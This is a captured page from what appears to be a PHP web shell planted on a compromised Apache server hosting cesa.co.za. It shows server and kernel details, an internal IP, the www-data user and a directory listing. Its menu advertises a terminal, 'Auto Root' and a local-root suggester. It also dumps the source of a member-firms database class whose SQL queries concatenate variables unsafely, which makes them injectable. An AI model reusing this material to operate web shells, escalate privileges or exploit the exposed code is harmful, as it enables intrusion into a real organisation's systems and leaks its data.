Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
includes /
Delete
Unzip
Name
Size
Permission
Date
Action
error_handling
[ DIR ]
drwxr-sr-x
2025-07-07 15:54
mail
[ DIR ]
drwxr-sr-x
2025-06-14 11:17
ADQAnswers.php
3.16
KB
-rw-r--r--
2026-06-03 05:55
ADQAudit.php
6.51
KB
-rw-r--r--
2026-06-03 05:55
ADQAuditAnswers.php
1.21
KB
-rw-r--r--
2026-06-03 05:55
ADQFirms.php
18.41
KB
-rw-r--r--
2025-12-31 10:56
ADQuestionnairesAnswers.php
1.05
KB
-rw-r--r--
2026-06-03 05:55
ADQuestionnairesAudit.php
2.01
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestionnaires.php
3.31
KB
-rw-r--r--
2026-06-03 05:55
ADecQuestions.php
541
B
-rw-r--r--
2026-06-03 05:55
ADec_Contacts.php
1.61
KB
-rw-r--r--
2026-06-03 05:55
ADec_OfficeContacts.php
7.43
KB
-rw-r--r--
2026-06-03 05:55
ADec_PIUnderwriters.php
742
B
-rw-r--r--
2026-06-03 05:55
ADec_Transformation.php
817
B
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmOffices.php
1.49
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirmSkills.php
2.38
KB
-rw-r--r--
2026-06-03 05:55
ADec_tblMemberFirms.php
19.37
KB
-rw-r--r--
2026-06-03 05:55
AnonRespondees.php
4.25
KB
-rw-r--r--
2026-06-05 11:41
AwardsEntries.php
2.4
KB
-rw-r--r--
2026-06-06 10:48
BaseTableClass.php
950
B
-rw-r--r--
2026-04-26 08:24
BatchJob.php
4.46
KB
-rw-r--r--
2026-06-03 05:55
BceAssignmentFeedbackFormsReportService.php
6.77
KB
-rw-r--r--
2026-05-25 13:06
CCEAssignment.php
12.44
KB
-rw-r--r--
2026-05-26 14:26
CCEAssignmentMarking.php
26.26
KB
-rw-r--r--
2026-08-14 12:06
CCEBooks.php
524
B
-rw-r--r--
2026-06-03 05:55
CCEConvenorAuth.php
3.06
KB
-rw-r--r--
2026-08-19 11:18
CCECourseSchedules.php
579
B
-rw-r--r--
2026-06-03 05:55
CCEDocCategories.php
529
B
-rw-r--r--
2026-06-03 05:55
CCEDocuments.php
8.15
KB
-rw-r--r--
2026-08-20 12:16
CCEExam.php
15.87
KB
-rw-r--r--
2026-06-03 06:35
CCEExamQuestion.php
1.76
KB
-rw-r--r--
2026-06-03 05:55
CCEFacilitatorUser.php
931
B
-rw-r--r--
2026-06-03 05:55
CCEMessageLog.php
951
B
-rw-r--r--
2026-06-03 05:55
CCEMessages.php
8.88
KB
-rw-r--r--
2026-07-01 13:20
CCEModuleMarksService.php
7.16
KB
-rw-r--r--
2026-05-26 10:30
CCEModules.php
1.16
KB
-rw-r--r--
2026-06-03 05:55
CCEResourceGroups.php
591
B
-rw-r--r--
2026-06-03 05:55
CCEResources.php
896
B
-rw-r--r--
2026-06-03 05:55
CCESetup.php
256
B
-rw-r--r--
2026-02-09 16:20
CCEStAssigExtension.php
2.07
KB
-rw-r--r--
2026-06-03 05:55
CCEStAssigExtensionRequest.php
6.65
KB
-rw-r--r--
2026-06-03 05:55
CCEStudentAssignment.php
16.61
KB
-rw-r--r--
2026-07-15 14:44
CCEStudentCourses.php
611
B
-rw-r--r--
2026-06-03 05:55
CCEStudentDisplayOrder.php
4.96
KB
-rw-r--r--
2026-05-26 09:32
CCEStudents.php
8.4
KB
-rw-r--r--
2026-08-19 11:18
CCETemplates.php
896
B
-rw-r--r--
2026-06-03 05:55
CCEWeeklySessions.php
2.27
KB
-rw-r--r--
2026-02-09 16:25
CPDSPReview.php
624
B
-rw-r--r--
2026-06-03 05:55
CPDServiceProvider.php
4.57
KB
-rw-r--r--
2026-06-12 11:48
CPDTrainingMaterial.php
3.96
KB
-rw-r--r--
2026-06-12 11:48
CceUploadedFileService.php
34.9
KB
-rw-r--r--
2026-06-24 12:03
Certificates.php
8.93
KB
-rw-r--r--
2026-08-18 15:42
Contact.php
690
B
-rw-r--r--
2026-06-03 05:55
ErrorLog.php
1.22
KB
-rw-r--r--
2026-08-24 10:12
EventSchedules.php
5.39
KB
-rw-r--r--
2025-12-20 10:03
FileUploads.php
2.1
KB
-rw-r--r--
2026-06-03 05:55
HTMLHelper.php
17.2
KB
-rw-r--r--
2026-06-03 05:55
KeyValue.php
4.9
KB
-rw-r--r--
2026-04-25 09:34
Mailer.php
12.78
KB
-rw-r--r--
2026-07-15 09:50
MarketingAttendees.php
36.87
KB
-rw-r--r--
2026-08-14 12:06
MarketingPayments.php
2.52
KB
-rw-r--r--
2026-06-03 05:55
MemberContact.php
1.04
KB
-rw-r--r--
2026-06-03 05:55
MemberFirm.php
17.71
KB
-rw-r--r--
2026-06-03 05:55
MemberFirmOffices.php
752
B
-rw-r--r--
2026-06-03 05:55
MemberFirmSkill.php
18.04
KB
-rw-r--r--
2026-06-03 05:55
MemberPortalTransformationProxy.php
4.44
KB
-rw-r--r--
2026-05-20 09:08
MemberPortalUrls.php
1.82
KB
-rw-r--r--
2026-05-20 09:53
MsgAttachFileService.php
4.92
KB
-rw-r--r--
2026-06-22 08:37
OfficeContact.php
1.01
KB
-rw-r--r--
2026-06-03 05:55
Picklists.php
539
B
-rw-r--r--
2026-06-03 05:55
Questionnaires.php
849
B
-rw-r--r--
2026-01-23 12:39
SchoolAttendeeBulkMailerService.php
34.26
KB
-rw-r--r--
2026-08-11 10:45
SchoolAttendees.php
73.21
KB
-rw-r--r--
2026-08-11 10:45
SchoolCourses.php
7.98
KB
-rw-r--r--
2026-08-19 11:59
SchoolEvents.php
45.54
KB
-rw-r--r--
2026-08-18 15:42
SchoolPayments.php
4.48
KB
-rw-r--r--
2026-04-13 09:33
SchoolPresenters.php
1.86
KB
-rw-r--r--
2026-01-23 12:43
SchoolWeeksCoursesDashboardProxy.php
10.69
KB
-rw-r--r--
2026-08-14 12:32
TrainingProvider.php
8.06
KB
-rw-r--r--
2026-01-23 12:43
TrainingProviderDoc.php
554
B
-rw-r--r--
2026-06-03 05:55
Transformation.php
10.87
KB
-rw-r--r--
2026-05-13 09:36
UnempPractitioners.php
1.43
KB
-rw-r--r--
2026-06-03 05:55
Utils.php
13.72
KB
-rw-r--r--
2026-07-23 07:28
WeeklySessionsParser.php
7.87
KB
-rw-r--r--
2026-02-09 16:20
cceMessageAttachmentUpload.inc.php
5.12
KB
-rw-r--r--
2026-06-03 05:55
cceMessageEditor.inc.php
9.26
KB
-rw-r--r--
2026-07-01 13:20
cce_file_download_endpoint.php
1.75
KB
-rw-r--r--
2026-06-24 08:38
cstUnreadMessages.php
2.1
KB
-rw-r--r--
2026-07-01 13:20
cstWeeksCourses.php
1.84
KB
-rw-r--r--
2026-08-14 12:06
load_phpmailer.php
742
B
-rw-r--r--
2026-07-17 14:57
maill.php
19.45
KB
-rw-r--r--
2026-08-19 12:23
require_ewmysql.php
1.2
KB
-rw-r--r--
2026-08-24 10:12
sqlFunctions.php
10.48
KB
-rw-r--r--
2026-08-24 10:12
Save
Rename
<?php /* * Contact otto@igotafrica.com for details */ include_once('BaseTableClass.php'); /** * Control the AD Member Firms table * * @author Otto Saayman */ class ADec_tblMemberFirms extends BaseTableClass { public function getAll($year = 0) { if ($year <= 0) { $year = date('Y'); } return $this->sqlf->getAll("SELECT * FROM ADec_tblMemberFirms WHERE DeclarationYear = " . $year); } public function getPIUnderwriters() { return $this->sqlf->getAll("SELECT DISTINCT PIUnderwriter FROM ADec_tblMemberFirms ORDER BY PIUnderwriter"); } public function getPIUnderwritersSelectArray() { $objects = $this->getPIUnderwriters(); $return = array(); foreach ($objects as $object) { $return[$object['PIUnderwriter']] = $object['PIUnderwriter']; } $return['Other'] = 'Other'; // var_dump($return); // exit; return $return; } public function getOrCreate($firmId, $declarationYear) { $testSQL = "SELECT * FROM ADec_tblMemberFirms WHERE Prev_FirmID = $firmId AND DeclarationYear = $declarationYear"; if (false && $_SESSION["username"] == 'cesatesting') { echo '<p>Please ignore debug info: <textarea cols=30>' . $testSQL . '</textarea></p>'; exit; } $checkFirm = $this->sqlf->getRow($testSQL); if (!is_array($checkFirm) || count($checkFirm) <= 0) { $checkFirm = array( 'Prev_FirmID' => $firmId, 'DeclarationYear' => $declarationYear, ); $result = $this->sqlf->autoExecute('ADec_tblMemberFirms', $checkFirm, 'INSERT'); if (true && $_SESSION["username"] == 'cesatesting') { echo '<p>Please ignore debug info: <textarea cols=30>' . print_r($result, true) . '</textarea></p>'; exit; // ini_set('display_errors', 1); // error_reporting(E_ALL); } } $testSQL = "SELECT * FROM ADec_tblMemberFirms WHERE Prev_FirmID = $firmId AND DeclarationYear = $declarationYear"; $checkFirm = $this->sqlf->getRow($testSQL); if (!is_array($checkFirm) || count($checkFirm) <= 0 || !isset($checkFirm['FirmName']) || $checkFirm['FirmName'] == '') { $memberFirmObj = new MemberFirm($this->sqlf); $memberFirm = $memberFirmObj->find($firmId); $checkFirm = array( 'FirmID' => $checkFirm['FirmID'], 'FirmName' => $memberFirm['FirmName'], 'FormOfIncorporation' => $memberFirm['FormOfIncorporation'], 'DateJoined' => $memberFirm['DateJoined'], 'DateTerminated' => $memberFirm['DateTerminated'], 'DirectoryLastUpdate' => $memberFirm['DirectoryLastUpdate'], 'EntryType' => $memberFirm['EntryType'], 'PageRef' => $memberFirm['PageRef'], 'LogoReceived' => $memberFirm['LogoReceived'], 'Photographs' => $memberFirm['Photographs'], 'RunOns' => $memberFirm['RunOns'], 'OrderNumber' => $memberFirm['OrderNumber'], 'InvoiceNumber' => $memberFirm['InvoiceNumber'], 'PaymentReceived' => $memberFirm['PaymentReceived'], 'DeclarationReceived' => $memberFirm['DeclarationReceived'], 'MemberStatus' => $memberFirm['MemberStatus'], 'Acoustics' => $memberFirm['Acoustics'], 'Agricultural' => $memberFirm['Agricultural'], 'BuildingServices' => $memberFirm['BuildingServices'], 'Chemical' => $memberFirm['Chemical'], 'Civil' => $memberFirm['Civil'], 'Development' => $memberFirm['Development'], 'Electrical' => $memberFirm['Electrical'], 'Electronic' => $memberFirm['Electronic'], 'Environmental' => $memberFirm['Environmental'], 'Geotechnical' => $memberFirm['Geotechnical'], 'Industrial' => $memberFirm['Industrial'], 'Mechanical' => $memberFirm['Mechanical'], 'Marine' => $memberFirm['Marine'], 'Mining' => $memberFirm['Mining'], 'Process' => $memberFirm['Process'], 'Structural' => $memberFirm['Structural'], 'Transportation' => $memberFirm['Transportation'], 'Architecture' => $memberFirm['Architecture'], 'RuralDevelopment' => $memberFirm['RuralDevelopment'], 'ProjectManagement' => $memberFirm['ProjectManagement'], 'QuantitySurveying' => $memberFirm['QuantitySurveying'], 'TownPlanning' => $memberFirm['TownPlanning'], 'Multidisciplinary' => $memberFirm['Multidisciplinary'], 'DisputeResolution' => $memberFirm['DisputeResolution'], 'ExpertWitness' => $memberFirm['ExpertWitness'], 'InformationSystems' => $memberFirm['InformationSystems'], 'FacilitiesManagement' => $memberFirm['FacilitiesManagement'], 'GIS' => $memberFirm['GIS'], 'PIUnderwriter' => $memberFirm['PIUnderwriter'], 'LevelOfCover' => $memberFirm['LevelOfCover'], 'LevelOfCoverShort' => $memberFirm['LevelOfCoverShort'], 'Quality Management' => $memberFirm['Quality Management'], 'Date of last peer review' => $memberFirm['Date of last peer review'], 'URL' => $memberFirm['URL'], 'DocumentAccess' => $memberFirm['DocumentAccess'], 'QualityMxSystem' => $memberFirm['QualityMxSystem'], 'ExportDivision' => $memberFirm['ExportDivision'], 'Active' => $memberFirm['Active'], 'School' => $memberFirm['School'], 'LNumber' => $memberFirm['LNumber'], 'ExistingOrExperience' => $memberFirm['ExistingOrExperience'], 'SeekingToExportTo' => $memberFirm['SeekingToExportTo'], 'QMSPlan' => $memberFirm['QMSPlan'], 'QMSDocs' => $memberFirm['QMSDocs'], 'QMSISOComply' => $memberFirm['QMSISOComply'], 'QMSISOCert' => $memberFirm['QMSISOCert'], 'QMSISOCertDate' => $memberFirm['QMSISOCertDate'], 'QMSOffices' => $memberFirm['QMSOffices'], 'QMSConsult' => $memberFirm['QMSConsult'], 'QMSCertBody' => $memberFirm['QMSCertBody'], 'AcousticsName' => $memberFirm['AcousticsName'], 'AgriculturalName' => $memberFirm['AgriculturalName'], 'BuildingServicesName' => $memberFirm['BuildingServicesName'], 'ChemicalName' => $memberFirm['ChemicalName'], 'CivilName' => $memberFirm['CivilName'], 'DevelopmentName' => $memberFirm['DevelopmentName'], 'ElectricalName' => $memberFirm['ElectricalName'], 'ElectronicName' => $memberFirm['ElectronicName'], 'EnvironmentalName' => $memberFirm['EnvironmentalName'], 'GeotechnicalName' => $memberFirm['GeotechnicalName'], 'IndustrialName' => $memberFirm['IndustrialName'], 'MechanicalName' => $memberFirm['MechanicalName'], 'MarineName' => $memberFirm['MarineName'], 'MiningName' => $memberFirm['MiningName'], 'ProcessName' => $memberFirm['ProcessName'], 'StructuralName' => $memberFirm['StructuralName'], 'TransportationName' => $memberFirm['TransportationName'], 'ArchitectureName' => $memberFirm['ArchitectureName'], 'RuralDevelopmentName' => $memberFirm['RuralDevelopmentName'], 'ProjectManagementName' => $memberFirm['ProjectManagementName'], 'QuantitySurveyingName' => $memberFirm['QuantitySurveyingName'], 'TownPlanningName' => $memberFirm['TownPlanningName'], 'MultidisciplinaryName' => $memberFirm['MultidisciplinaryName'], 'DisputeResolutionName' => $memberFirm['DisputeResolutionName'], 'ExpertWitnessName' => $memberFirm['ExpertWitnessName'], 'InformationSystemsName' => $memberFirm['InformationSystemsName'], 'FacilitiesManagementName' => $memberFirm['FacilitiesManagementName'], 'GISName' => $memberFirm['GISName'], 'MainFirmInvoice' => $memberFirm['MainFirmInvoice'], 'GroupFirmsInvoice' => $memberFirm['GroupFirmsInvoice'], 'QMSImplemented' => $memberFirm['QMSImplemented'], 'QMSImplFully' => $memberFirm['QMSImplFully'], 'QMSImplPart' => $memberFirm['QMSImplPart'], 'QMSAssess' => $memberFirm['QMSAssess'], 'QMSUseConsult' => $memberFirm['QMSUseConsult'], 'QMSIntend' => $memberFirm['QMSIntend'], 'MentoringProg' => $memberFirm['MentoringProg'], 'CandidateProg' => $memberFirm['CandidateProg'], 'SubscriptionsContact' => $memberFirm['SubscriptionsContact'], 'SubscriptionsEmail' => $memberFirm['SubscriptionsEmail'], 'HRTrainingContact' => $memberFirm['HRTrainingContact'], 'HRTrainingEmail' => $memberFirm['HRTrainingEmail'], 'MarketingContact' => $memberFirm['MarketingContact'], 'MarketingEmail' => $memberFirm['MarketingEmail'], 'CAUSigned' => $memberFirm['CaUSigned'], 'BBBEE' => $memberFirm['BBBEE'], 'YPFContact' => $memberFirm['YPFContact'], 'YPFEmail' => $memberFirm['YPFEmail'], 'SMME' => $memberFirm['SMME'], 'SMMEAmount' => $memberFirm['ThreeYearsAverageTurnover'], 'BlackOwned' => $memberFirm['BlackOwned'], 'BlackWomenOwned' => $memberFirm['BlackWomenOwned'], 'WomenOwned' => $memberFirm['WomenOwned'], 'BBBEELevel' => $memberFirm['BBBEELevel'], 'SustainabilityPolicy' => $memberFirm['SustainabilityPolicy'], 'SustainabilityIssues' => $memberFirm['SustainabilityIssues'], 'SustainabilityProcess' => $memberFirm['SustainabilityProcess'], 'SustainabilityChampion' => $memberFirm['SustainabilityChampion'], 'SustainabilityChampName' => $memberFirm['SustainabilityChampName'], 'SustainabilityFramework' => $memberFirm['SustainabilityFramework'], 'SustainabilityDiscussed' => $memberFirm['SustainabilityDiscussed'], 'SustainabilityIndicator1' => $memberFirm['SustainabilityIndicator1'], 'SustainabilityIndicator2' => $memberFirm['SustainabilityIndicator2'], 'SustainabilityIndicator3' => $memberFirm['SustainabilityIndicator3'], 'SustainabilityIndicator4' => $memberFirm['SustainabilityIndicator4'], 'SustainabilityIndicator5' => $memberFirm['SustainabilityIndicator5'], 'QMIG' => $memberFirm['QMIG'], 'QMSChampion' => $memberFirm['QMSChampion'], 'QMSChampName' => $memberFirm['QMSChampName'], 'QMSChampEmail' => $memberFirm['QMSChampEmail'], 'SustainabilityChampEmail' => $memberFirm['SustainabilityChampEmail'], 'ProcurementContact' => $memberFirm['ProcurementContact'], 'ProcurementEmail' => $memberFirm['ProcurementEmail'], 'SubscriptionsTel' => $memberFirm['SubscriptionsTel'], 'HRTrainingTel' => $memberFirm['HRTrainingTel'], 'MarketingTel' => $memberFirm['MarketingTel'], 'ProcurementTel' => $memberFirm['ProcurementTel'], 'YPFContactTel' => $memberFirm['YPFContactTel'], 'BlackWomenOwned' => $memberFirm['BlackWomenOwned'], 'SABTACO' => $memberFirm['SABTACO'], 'BBCBE' => $memberFirm['BBCBE'], 'GBCSA' => $memberFirm['GBCSA'], 'TotalStaff' => $memberFirm['TotalStaff'], 'DeclarationYear' => $declarationYear, ); // echo '<h4>System is undergoing maintenance. Please check back later.</h4>'; // var_dump($checkFirm); // exit; $this->sqlf->autoExecute('ADec_tblMemberFirms', $checkFirm, 'UPDATE', 'FirmID = ' . $checkFirm['FirmID'], 'FirmID'); } $memberOfficesObj = new MemberFirmOffice($this->sqlf); $aDecMemberOfficesObj = new ADec_tblMemberFirmOffices($this->sqlf); $memberOffices = $memberOfficesObj->findByFirmID($firmId); $aDecMemberOffices = $aDecMemberOfficesObj->findByFirmIDYear($checkFirm['FirmID'], $declarationYear); // echo '<h4>System is undergoing maintenance. Please check ignore the debug information below.</h4>'; // echo count($memberOffices) . ' - ' . count($aDecMemberOffices) . '<br />'; if (is_array($memberOffices) && count($memberOffices) > 0 && (!is_array($aDecMemberOffices) || count($aDecMemberOffices) <= 0)) { foreach ($memberOffices as $memberOffice) { $aDecMemberOffice = $memberOffice; $aDecMemberOffice['Prev_OfficeID'] = $memberOffice['OfficeID']; $aDecMemberOffice['Prev_FirmID'] = $firmId; $aDecMemberOffice['FirmID'] = $checkFirm['FirmID']; $aDecMemberOffice['DeclarationYear'] = $declarationYear; unset($aDecMemberOffice['OfficeID']); // var_dump($aDecMemberOffice); // exit; $this->sqlf->autoExecute('ADec_tblMemberFirmOffices', $aDecMemberOffice, 'INSERT'); } } //if // exit; $memberFirmSkillObj = new ADec_tblMemberFirmSkills($this->sqlf); $memberFirmSkillObj->getOrCreate($checkFirm['FirmID'], $firmId, $declarationYear); } public static function getBlackOwnedValue($valIn) { $valOut = ''; switch ($valIn) { case '≥10%<25%': $valOut = 'Equal to or greater than 10 and less than 25%'; break; case 'Equal to or greater than 10 and less than 25': $valOut = 'Equal to or greater than 10 and less than 25%'; break; case 'Equal to or greater than 10 and less than 25%': $valOut = 'Equal to or greater than 10 and less than 25%'; break; case '≥25%<51%': $valOut = 'Equal to or greater than 25 and less than 51%'; break; case 'Equal to or greater than 25 and less than 51': $valOut = 'Equal to or greater than 25 and less than 51%'; break; case 'Equal to or greater than 25 and less than 51%': $valOut = 'Equal to or greater than 25 and less than 51%'; break; case '≥51%<100%': $valOut = 'Equal to or greater than 51 and less than 100%'; break; case 'Equal to or greater than 51 and less than 100': $valOut = 'Equal to or greater than 51 and less than 100%'; break; case 'Equal to or greater than 51 and less than 100%': $valOut = 'Equal to or greater than 51 and less than 100%'; break; case '100%': $valOut = '100%'; break; case 'Equal to 100': $valOut = '100%'; break; default: $valOut = 'Less than 10%'; break; } return $valOut; } public static function getAnnualTurnoverValue($valIn, $turnOverValue = 0) { if ($turnOverValue > 0) { if ($turnOverValue < 3000000) { return 'EME1'; } elseif ($turnOverValue < 6000000) { return 'EME2'; } elseif ($turnOverValue < 10000000) { return 'QSE1'; } elseif ($turnOverValue < 15000000) { return 'QSE2'; } elseif ($turnOverValue < 20000000) { return 'QSE3'; } elseif ($turnOverValue < 25000000) { return 'QSE4'; } elseif ($turnOverValue < 35000000) { return 'GEN1'; } elseif ($turnOverValue < 50000000) { return 'GEN2'; } elseif ($turnOverValue < 60000000) { return 'GEN3'; } elseif ($turnOverValue < 70000000) { return 'GEN4'; } elseif ($turnOverValue < 80000000) { return 'GEN5'; } elseif ($turnOverValue < 90000000) { return 'GEN6'; } elseif ($turnOverValue < 100000000) { return 'GEN7'; } return 'GEN8'; } $valOut = 'EME1'; $valArr = explode(' ', $valIn); if (is_array($valArr) && count($valArr) > 0) { $valOut = $valArr[0]; } return $valOut; } public static function getBlackWomenOwnedValue($valIn) { $valOut = 'Less than 30%'; switch ($valIn) { case '≥30%<51%': $valOut = 'Equal to or greater than 30 and less than 51%'; break; case 'Equal to or greater than 30 and less than 51': $valOut = 'Equal to or greater than 30 and less than 51%'; break; case 'Equal to or greater than 30 and less than 51%': $valOut = 'Equal to or greater than 30 and less than 51%'; break; case '≥51%<100%': $valOut = 'Equal to or greater than 50 and less than 100%'; break; case 'Equal to or greater than 50 and less than 100': $valOut = 'Equal to or greater than 50 and less than 100%'; break; case 'Equal to or greater than 50 and less than 100%': $valOut = 'Equal to or greater than 50 and less than 100%'; break; case '≥100%': $valOut = '100%'; break; case 'Less than 10%': $valOut = 'Less than 10%'; break; case 'Equal to or greater than 10 and less than 30%': $valOut = 'Equal to or greater than 10 and less than 30%'; break; case 'Equal to or greater than 51 and less than 100%': $valOut = 'Equal to or greater than 51 and less than 100%'; break; case '100%': $valOut = '100%'; break; } return $valOut; } /** * Count the number of results captured for the current year */ public function countResultsCaptured($declarationYear): int { $sql = "SELECT COUNT(*) as Cntr FROM ADec_tblMemberFirms mf INNER JOIN ADec_Done_Local dl ON mf.FirmID = dl.RefID AND dl.RefType = 'FirmID' AND dl.RefDoc IN ('UPDATED') AND YEAR(dl.ADecDate) = $declarationYear"; // echo $sql; $result = $this->sqlf->getRow($sql); if (is_array($result) && count($result) > 0) { return $result['Cntr']; } return 0; } }